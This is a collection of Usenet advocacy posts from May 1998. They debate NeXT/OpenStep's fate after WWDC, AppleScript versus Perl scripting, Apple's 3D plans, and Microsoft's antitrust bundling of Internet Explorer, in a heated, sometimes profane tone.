NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Steven W. Schuldt <sschuldt@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Wait 'til NeXT Year
Date: 27 May 1998 03:44:44 GMT
Organization: MediaOne -=- Northeast Region
Message-ID: <6kg27c$3dd$1@ndnws01.ne.highway1.com>
*
Did anyone else feel a little sorry for Avie up there at WWDC, reduced to
pandering to lumpen rows of Mac Toolbox monobrows? It was like watching
Leonardo da Vinci detailing how he was going to paint someone's mobile home
for them with a roller. I wanted to throw a blanket over him and hustle him
out of the building; or kick Steve Jobs in the nuts for making his friend do
this.
*
Speaking of nuts, I was trying today to remember what exactly I really enjoyed
about working with the many iterations of NeXT's technology (hard and
software) that will still remain in about 18 months and I came up with:
EOF
*
Actually, the wholesale destruction of the utility of all of this technology
that is essentially only a couple of years old brings to mind Bruce Sterling's
Dead Media project. It is going strong and while OpenStep is hardly dead
media at this point (more like a middle-aged man undergoing cancer therapy)
you might want to take a sneak peak at the future of _everything_ to do with
your computer:
http://www.mediahistory.com/dead/archive.html
*
(Cue cheesy music)
Are you a former NeXTian? Are you pining for the privately held days of yore
when a man could spend Ross Perot's and Canon's money willie-nillie creating
the coolest stuff in the universe? Are you tired of sickly MacSlobs vomiting
15 year old MacHairballs all over your operating system and tools? Well come
on down and revisit those golden days of yore under the 'other' section at the
Retrocomputing Museuem:
http://www.geocities.com/SiliconValley/Vista/7533/NeXT.html
Steve
Boston '98 +On +On
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Scripting (was: Re: NeXTSTEP - Some useful features = MacOS X?)
Date: 27 May 1998 02:37:12 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kgcao$4p8$1@crib.bevc.blacksburg.va.us>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <356a7f0e.0@news.camtech.net.au> <6kga4c$h5j$2@geraldo.cc.utexas.edu>
In article <6kga4c$h5j$2@geraldo.cc.utexas.edu>, kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> timothyp@tne.net.au (timothyp@tne.net.au) wrote:
> : Methinks you dont fully appreciate Applescript. While I do know, use and Love
> : Perl it is still a very different beastie than Applescript and cant hope to
> : compete with an Applescript on Applescript aware programs.
> Uh. So what about Non-AppleScript aware programs? You mean that AppleScript
> isn't very useful unless the developers are diligent about creating an
> AppleScript API for it?
That's pretty much a necessity, given the nature of the task.
> Perl makes no such demands for UNIX based programs.
Bzzzt, wrong. The "Perl API" for a Unix-based program is a command-line
interface. Whereas Unix programs are controlled by command-line
arguments, Mac applications are controlled by AppleScript events.
Two different ways of doing the same thing. Actually, the AppleScript
way, at least as implemented in Yellow Box, is much superior, because
it defines a generic OO way of doing this free from any parsing
considerations or variations in command-line syntax.
AppleScript is simply a means of doing for GUI apps what Unix scripting
languages do for CLI apps. Since GUI apps don't have a command line,
there has to be _some_ substitute. The difference is that the CLI app's
input format is the same as the format that scripting languages utilize.
With a GUI app, the input format is mouse and keyboard events. It would
be awkward to write a script that has "click on button A, drag window B"
to control a GUI app (though you can do that if you want), so app
developers usually put in some AppleScript hooks defining a set of
commands that the app responds to (like "open document") that you can
use as shortcuts. (You can, however, alternatively turn on recording
of mouse and keyboard events, turning them into a script that can be
played back.)
If you wanted to use Perl as the scripting language to control GUI apps,
you would run into exactly the same problems faced by AppleScript --
except that AppleScript was designed from the ground up to solve them
well, while Perl was designed mostly to interface with command-line apps
and manipulate text streams. I'm not knocking Perl, I love the language,
but it's just not the most appropriate tool for the job.
(That being said, I can already envision slick ways to write a Perl
bridge that would turn an AppleScript command like "open document"
transparently into a Perl method called openDocument() or some such,
completely transparently via interfacing Perl's runtime to Objective-C's
the way that TipTop does it.. actually, in this case you probably
wouldn't interface directly to the Obj-C runtime but to the "AppleScript
runtime", the scripting engine.)
> Good scripting will make OSX a *much* better server OS than NT.
Check out:
http://www.developer.com/calendar/minisites/wwdc98/120ybscriptablesw/index.htm
http://developer.apple.com/techpubs/rhapsody/System/Documentation/Developer/YellowBox/ReleaseNotes/Scripting.html#Scripting
The design is very slick, just about everything I was hoping for.
It's way superior to any scripting solution on NT, and will integrate
extremely well into the system with very little effort, especially for
Yellow-based apps.
(You'll need to do some background reading to fully undertand the
architecture, however, since the above references pretty much assume
you're already familiar with AppleScript and just describe how it will
be made easier and integrated into an OOP design in Yellow Box.)
I personally view this as the most exciting thing to come out of WWDC,
as I think that anything that enhances the ability for independent
applications or system modules to work together cooperatively is extremely
important to future operating systems, and it looks like Apple is really
doing the right thing here with its Yellow scripting architecture.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Wed, 27 May 1998 01:11:06 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356B682A.3079288E@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net> <rmcassid-2505982311390001@dialin9062.slip.uci.edu> <356AD3B0.5FA67D27@nstar.net> <handleym-2605981624320001@handma.apple.com>
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NNTP-Posting-Date: 27 May 1998 01:16:01 GMT
Maynard Handley wrote:
> > > Why? Why would it not go anywhere that QTML goes?
> >
> > Precisely.
>
> So let's see.
> Apple has said nothing about what it will or won't do with OpenGL.
Precisely.
> Apple has said nothing about what it will or won't do with 3D and Altivec.
Precisely.
> Apple has said nothing about killing RAVE or anything else that would
> imply their no longer being able to use 3rd party custom-3D hardware.
Apple also says nothing about the continuance of RAVE. I have heard that
RAVE is dead, and I'm not the only one. Apple owes its users an
explanation.
> Apple HAS said many times that they want to see QT as widely cross
> platform as possible.
Actions speak louder than words (so do suspicious silences).
> Now based on all this, you believe whatever pinheaded rumors you come
> across and start jumping up-and-down about Apple's supposed writing OpenGL
> in AltiVec tied into QT and running only on Macs?
Cute. Anything you want to call rumor, you can attribute to me. I've
said nothing that goes beyond commentary, speculation, or response to
Mr. Cassidy's words. Go ahead and quote me on whatever you like, Mr.
Handley, I've posted no sources in this particular thread; feel free to
demonstrate where I've masqueraded rumor as fact.
> You might want to consider a little more closely the difference between
> what Apple has actually said and demonstrated, and the random nonsense you
> read on Usenet.
Oh, I forgot that we're all to blink and pretend we don't see the
tomfoolery behind the magician's silly rabbit trick. I see nothing, I
see nothing...!
MJP
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 03:42:47 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <356b8459.456647@news.supernews.com>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <3565ce6b.0@news.primary.net>
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"Steve Shaw" <sbshaws@kc-primary.net>, on Fri, 22 May 1998 14:16:52
-0500,
>
>T. Max Devlin wrote in message <35cca498.358890969@news.supernews.com>...
>>Is bundling wrong, is a company required to ask government permission to
>>bundle products? Normally, no, but in this case Microsoft signed a
>>legal contract stating that it would not do this very thing. Microsoft
>>is allowed to "maintain" this monopoly in PC OSs, so long as they do not
>>try to use it to monopolize other markets. The level to which they (and
>>those who defend them) disregard this issue is astounding.
>Perhaps Microsoft, conditioned by their customer's willingness to swallow MS
>claims wholesale, expected the rest of the world to do the same.
>
Bingo!
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 03:42:49 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <356c8494.515346@news.supernews.com>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <slrn6mbl1t.rdr.jedi@dementia.mishnet>
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jedi@dementia.mishnet (jedi), on Fri, 22 May 1998 19:38:37 +0000,
>On Fri, 22 May 1998 16:25:59 GMT, T. Max Devlin <mdevlin@eltrax.com> wrote:
[...]
>>Quite true. No different from embedding an email program, and several
>>OSs have already done that. Of course, they were all designed for local
>
> In Unix, Email programs are FAR from 'embedded'.
> They are merely applications: transparently
> replaceable at will. (although elm looks like
> a bitch to build)
>
> Exploder DLL's are nothing like %set VISUAL=emacs
> or open standards for local or network mail transport.
Good point, but a whole different argument. Is the fact that Microsoft
does not distribute _any_ other developers products with the operating
system, as is common in Linux (but not, AFAIK, in commercial Unix) a
salient point to the anti-trust argument?
Opinions, please.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 03:42:51 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <356d853f.686176@news.supernews.com>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net>
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"John Saunders" <jws@jws.ultranet.com>, on Sat, 23 May 1998 11:36:05
-0400,
>T. Max Devlin wrote in message <35cca498.358890969@news.supernews.com>...
>>"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:34:10 >
>>>
>>>They've imbedded vital functionality into the operating system. [...]
>>>
>>Quite true. No different from embedding an email program, and several
>>OSs have already done that. Of course, they were all designed for local
>>access, not network-transport based clients like POP email programs. Of
>>course, Unix OSs also include a network transport based email SERVER
>>system, but one can hardly expect NT to have EVEN THE MOST RUDIMENTARY
>>EMAIL TRANSPORT SUPPORT; not when Exchange is so perfect for every
>>possible application...
>
>A correction. The OpenVMS operating system from Digital Equipment
>Corporation has shipped with a networked client-server email program for a
>very long time.
Thank you.
>
>>I got off track. The reason this is wrong, John, and not just a matter
>>of "vital functionality", is that this "vital functionality" is also
>>marketed by Microsoft as a separate product, and that makes this
>>_bundling_, not integrating, regardless of how closely intertwined the
>>browser application (which also has email and news clients) and the
>>operating system are.
>
>
>Let's say we start with an OS that doesn't have a particular feature. We
>decide we want to add that feature to a later release of the OS in an
>integrated manner. We send our development team off, and they come back with
>some code that includes changes to the OS as well as some application
>components. All of this can ship in that later release of the OS, but since
>it works right now, and since that latter version of the OS is a year or
>more off, why shouldn't we package it up and call it "Internet Explorer"?
Because you have a dominant market share, and the attendant
responsibilities to foster competition. Announce your plans, release
your interfaces, and sell your application in an competitive manner that
promotes competition. If you want to take the high road, and not
release a specification until it is well-defined and proven, then do
what Sun does and release the specs under license, the same way they did
SBus, NIS, and Java. Or decide that you want to make money on the OS,
and GPL the app, or decide you want to make money on the app and then
define and standardize the OS API...
>
>Why can't an operating system upgrade be marketed as a product?
If it was an OS upgrade, it doesn't have to be marketed; it's just
_sold_. Nobody has to be _convinced_ to upgrade to Solaris 2.6. If
you're using SunOS 4.2 (Solaris 1.0 is SunOS 5.0), and it works for you,
then stick with it. Once you need a new system, you'll have Solaris,
which is fully interoperable with SunOS (though not all the newest
applications are available for SunOS; some have rev'd past it and some
just were not available back then). Why does an operating system
upgrade have to be marketed as a product?
>
>Why can't a company make an effort to produce portable code so that the
>development of a Win95 product also produces most of a Macintosh and a Unix
>product? Why can't a company then market those two pieces of code as a
>product?
They can, as long as they are not Microsoft practicing anti-competitive
business practices based on using a monopoly PC OS market to develop a
monopoly app market...
>
>>Is bundling wrong, is a company required to ask government permission to
>>bundle products? Normally, no, but in this case Microsoft signed a
>>legal contract stating that it would not do this very thing.
>
>And they contend that they did not bundle anything, but that they have
>integrated something. If they had included a monolithic product like
>Netscape in the package, THEN I'd agree they were bundling. But the "IE"
>code in Win98 isn't the same sort of software at all. MS appears to have
>taken advantage of the benefits of their COM technology to ship a feature
>which has become a customer requirement in such a way that other vendors can
>benefit from it.
You mean that Microsoft has taken advantage of their
whatever-they-want-to-name-it technology to use their OS monopoly to
leverage a browser monopoly....
>
>I'm not explaining this well, but it's really not like they just
>shrink-wrapped the two packages together.
No, it's more insidious than that (and more dishonest, IMHO). They
decided to use their proprietary knowledge AND CONTROL (a more grievous
offense) of the OS to inter-twine the two with senseless kludges to make
them "integrated", rather than just bundling. Though the bundling would
be illegal, it would at least be functional...
>>Microsoft
>>is allowed to "maintain" this monopoly in PC OSs, so long as they do not
>>try to use it to monopolize other markets. The level to which they (and
>>those who defend them) disregard this issue is astounding.
>
>What's a "PC" anyway? Why isn't an entry-level Sun workstation a "PC"? Is an
>NC a PC? Why not? I'm not sure there's any definition of "PC" beyond "a
>computer that can run Windows 95".
A PC is a market. Though it is functionally useful to make distinctions
between and Intel-architecture-based Personal Computer and a
workstation, I will be the first to admit (especially in these times of
Power-PC and Alpha chips) that it is more a marketing category then a
technology.
>
>Also, what's this "other market"? You mean "the market for Web Browsers on
>PCs running Windows"? I'm sorry to tell you this, but that ceased to be a
>separate market as soon as customers started deciding that an OS should
>include a Web Browser. Once that happened, "Web Browsers" became something
>to sell to OS vendors for them to include in the package, and not nearly so
>much something to sell to consumers.
OSs for PCs have a single, distinct market (it's hard to tell because
there's only one mainstream OS choice at the moment), each discernable
application type (wordprocessor, spreadsheets, and graphics making a
distinct market for "office applications", data-bases being another, web
browsers being separate, and email/newsreaders seemingly separate, or
bundled into web browsers or a separate "groupware" application) is
separate. Why? Because that's the way they're bought, and that's the
way they're sold. Mostly. Cross the boundaries, and you're being
"innovative". ;-)
>And how were they using their monopoly to monopolize this other market?
>Netscape wasn't excluded from reaching this market. They still have a 2/3
>share last I heard. Microsoft even allows OEMs to ship Netscape installed on
>a Win95 system. They did not prevent Netscape's entry into the market (it
>was already there, and to a large extent created the market), and the didn't
>eliminate Netscape's presence in the market, so what DID they do as far as
>"monopolizing" the new market?
You don't monopolize a market by explicitly excluding a competitor; you
just make them less and less attractive, because you monopolize a
related market (such as OSs). Microsoft has marginalized the office
application competition, attacked the browser competition, and stands to
silently subsume the competition in groupware with their
finally-slightly-functional Outlook Express product. This is monopoly
of the worst sort... the hard to understand kind. ;-)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 04:00:09 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <356f8bcf.2366573@news.supernews.com>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net>
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"John Saunders" <jws@jws.ultranet.com>, on Sun, 24 May 1998 00:34:26
-0400,
>
>I have seen no reason to believe that Microsoft prevents vendors from
>configuring Navigator as the default browser, depending on what you mean by
>"default browser". If you mean "the program that runs when I double-click a
>.HTML file", then I see no reason at all why a vendor can't make that
>change. They are allowed to install whatever additional products they want,
>and that normally creates or changes file associations. I am unable to
>guess what else you might mean by "default browser", so please elaborate.
Good point. But doesn't pre-installation of Netscape (and specific
replacement of IE) bring down the wrath of Microsoft? We _know_ that MS
has asked computer vendors who include NS, but not IE, on the desktop,
are threatened with removal of Windows licenses. Wouldn't changes to
the default registry settings for associations cause the same problem?
>
>MS gives their own (public) reasons for these decisions at
>(http://www.microsoft.com/corpinfo/doj/5-18Q&A.htm). Believe them or not as
>the case might be.
Not. Just For The Record (JFTR; my first original Usenet acronym; let's
see if it catches on).
>I personally find some of their arguments plausible. In particular, remember
>that they have had more experience supporting Windows customers than either
>you or I. Their Q&A mentions a case where a vendor interrupted the boot
>sequence and wound up screwing things up for customers. It makes sense that,
>since the OS is designed to finish booting and then log a user on, that any
>customizations should take place after a user logs on. If the OEM wants to
>do some perhaps massive customizations, then perhaps they should ship the
>system with a default user ("start up" or something) which does the
>customizations, then deletes itself and logs out. Note that MS is not
>attempting to dictate what happens on any login other than the first. The
>OEM could completely switch shells to one that provided a totally different
>interface, and Microsoft claims they wouldn't mind, as long as that happened
>after the first login. If true, that's no great barrier to entry.
It is impractical, therefore infeasible, therefore ludicrous, to expect
a vendor to differentiate the first login from the last...
[...]
>Please go read the MS Q&A at
>http://www.microsoft.com/corpinfo/doj/5-18Q&A.htm. In small part, it says:
>"Second, the government wanted Microsoft give up its right to display the
>Windows user interface when consumers turn on a new PC running Windows for
>the first time. [...]
Says Microsoft? What exactly does the gov't ask for? I hardly think it
is as general as "Microsoft give up its right to display the Windows
user interface when consumers turn on a new PC running Windows for the
first time."
I rather think that they asked that "Microsoft give up its right to
display Microsoft's own Windows applications when consumers turn on a
new PC running the Windows OS for the first time." You see how
fundamentally important the distinction between OS and apps in a general
purpose computer are? Not if you listen to Microsoft, you don't...
[...]
>
>I contend that there is no "browser market".[...]
Then why did Microsoft release a separate application called "Internet
Explorer" to the Win95, Win3.1, and Unix markets?
> Only in the PC space is it the
>case that browsers are not included with the operating system.
Correction: the Microsoft "space" is the first case where http clients
are including with the operating system. Sun has recently (on Solaris
2.6, but not 2.5.1, the previous release, AFAIK) begun providing
_rudimentary_ browsers (implemented with Java, of course) with their OS.
Microsoft "pioneered" the idea of an integrated browser. Due to
unprecedented user demand, I hear...
> Browser
>vendors (which largely means "Netscape") sell to the computer manufacturers,
>not to the end-user. The problem for Netscape is that Microsoft now agrees
>with them, but sees no good reason to pay money to Netscape.
The problem for Netscape is that Netscape believes in having a better
product for the money than the competition, and Microsoft believes in
not having any competition to begin with...
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 04:24:55 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <357293dc.4428018@news.supernews.com>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Sun, 24 May 1998 16:49:07 GMT,
[...]
>Microsoft is allowed to do standard business practices even if it is
>very anti-competitive. You may think the "Windows Experience" is a poor
>excuse, but if it reaches the threshhold of a legitimate SECONDARY reason,
>Microsoft wins.
Holy Christ, Dave. You're scaring the shit out of me!...
>I am encouraged that you were open-minded enough to concede the possible
>usefullness of the Windows98 integration. These anti-trust arguments are
>multi-layered. Close minded fanatics on both sides, risk missing seeing
>this.
>
But what do I do when I know that it is not a simple Win98 issue, Dave?
What the hell is my legal recourse, you son-of-a-bitch, insisting that
Microsoft has it's due...
Microsoft has silently, though not obtrusively, marginalized the office
apps market, attacked the browser market, and made advances on the
groupware market, all by leveraging the power of their OS monopoly.
Shit, you've watched this case and studied the facts and been
straight-and-narrow more than anyone one Usenet....
It's time to prove you know what you're talking about, David Petticord.
I've always maintained that if you can't see both sides of an argument,
you have no right arguing one. So tell me, Dave...
How do we recognize that the "Windows Experience" has simply capitalized
on the advances of technology contributed by millions to the benefit of
hundreds and, increasingly, the detriment (in lack of competitive
products to choose from) of millions; how do we recognize this is wrong?
?
"-{
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 04:00:12 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35708f48.3256294@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au>
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"Christopher Smith" <drsmithy@usa.net>, on Mon, 25 May 1998 02:10:17
{...]
> I see no huge problem with Microsoft setting
>restrictions on how their OS boots on a machine the *first* time (note that
>the manufacturer can set the machine to do whatever it wants after that
>first boot).
And thus you illustrate your problem; you see no difference between the
operating system, and the computer. Just because Windows provides the
drivers and file system and shell, is that any reason for them to care
how those things are used on the user's computer?
Yes, of course there is! Marketing, and selling of a name for
ease=-of-use that is meaningless unless everybody believes real hard and
sends money to Bill Gates...
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <cdoutyEtLo5G.ED1@netcom.com>
Organization: Netcom
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <6k3pae$ii2$1@ns3.vrx.net>
Date: Wed, 27 May 1998 05:20:04 GMT
Sender: cdouty@netcom7.netcom.com
In article <6k3pae$ii2$1@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <3565A35B.AFDD18BC@nstar.net> "Michael J. Peck" claimed:
>> Ah, but NT isn't a wonderful server platform either. Yet it's making the
>> inroads I mentioned.
>
> Sure, but on the _server_ side there's no reason to use it. Basically the
>thread has revealed a couple of markets for the "3rd" OS, Solaris - some
>desktops, more servers, and lots of embedded devices (why they'd use that
>instead of QnX I don't know). YB is a desktop API. So how does having a
>port to a platform like Solaris help anyone? It doesn't help Solaris because
>it's almost entirely being used for servers and embedded devices.
>
> IE, the cross platform software in those markets tends to be server
>related. Spending money to provide a client end API on a server platform
>doesn't strike me as interesting many people.
Apple *has* to maintain Foundation objects and the ObjC and Java runtimes
for WebObjects on Solaris anyway. Yes I know that AppKit et al. are huge
stacks of code above that. PDO and WebObjects are the spearhead onto
other OSes. Since many websites run on Linux, WebObjects for Linux is
nearly mandatory.
I can see the value of YB for <insert OS here> as a sysadmin-type
supporting many different OSes. I've got a Solaris box on my desk and
would love to use programs like PasteUp, Glyphix, TIFFany, etc. from that
box. I can see lots of benefits for users and the computing community in
general if YB ran everywhere, but I don't necessarily see a way for Apple
to make money causing that to happen.
>> Yes, I know, NT is an operating system, YB is just an object framework.
>> So what? Instead of making excuses and promising improvements, sell the
>> damned product now and fix it later.
>
> The problem is that they can't afford to right now.
Sigh. Reality sucks.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 04:16:25 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35719045.3508921@news.supernews.com>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au>
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Sorry, Christopher, but it's one of those nights, and I've gone over the
edge...
"Christopher Smith" <drsmithy@usa.net>, on Sun, 24 May 1998 16:11:27
>[...]They can set Netscape to the default browser, but they cannot change the
>default startup procedure - I would consider this a valid "condition" no
>matter *what* the OS was.
Obviously, you don't know jack-shit about operating systems and default
startup procedures.
> I wonder what Apple would say if some of its VARs
>(not that there are many left) modifed all their Macs so the default boot
>was to Win95 running under VPC instead of OS 8.0 ?
They think it was odd, and wonder why they were committing marketing
suicide.
>
>OEMs can *add* whatever they want to the desktop, start menu, startup etc -
>they just aren't allowed to *remove* default settings for the first boot -
>if Gateway wanted to they could stick a text document into "Startup"
>describing exactly how to remove Windows 95 and install Linux, but the
>*first* boot must have the *standard* Windows 95 setup. System vendors can
>already pick & choose software to install, stick on the desktop, add to the
>Start menu whatever, they just can't *remove* things from the *first*
>bootup.
According to the contract, you are correct. I wonder how many OEMs
would agree with your charity concerning Microsoft's tactics,
considering several of them were putatively threatened with losing their
Windows licenses if they included, displayed, removed, or modified
certain icons, et al.
Yes, theoretically a vendor might include a startup program which
partially (not totally, because MS does not publish their code) will
disable Microsoft crapolla, then erase itself. But why? I invite you,
have others have I, to simply put your words to action: go do it. Go
build a system that launches a program after the first login that
"fixes" Windows, and maybe installs a boot-loader. See if you can get
"volume discounts" from Microsoft, so you can compete in a commodity
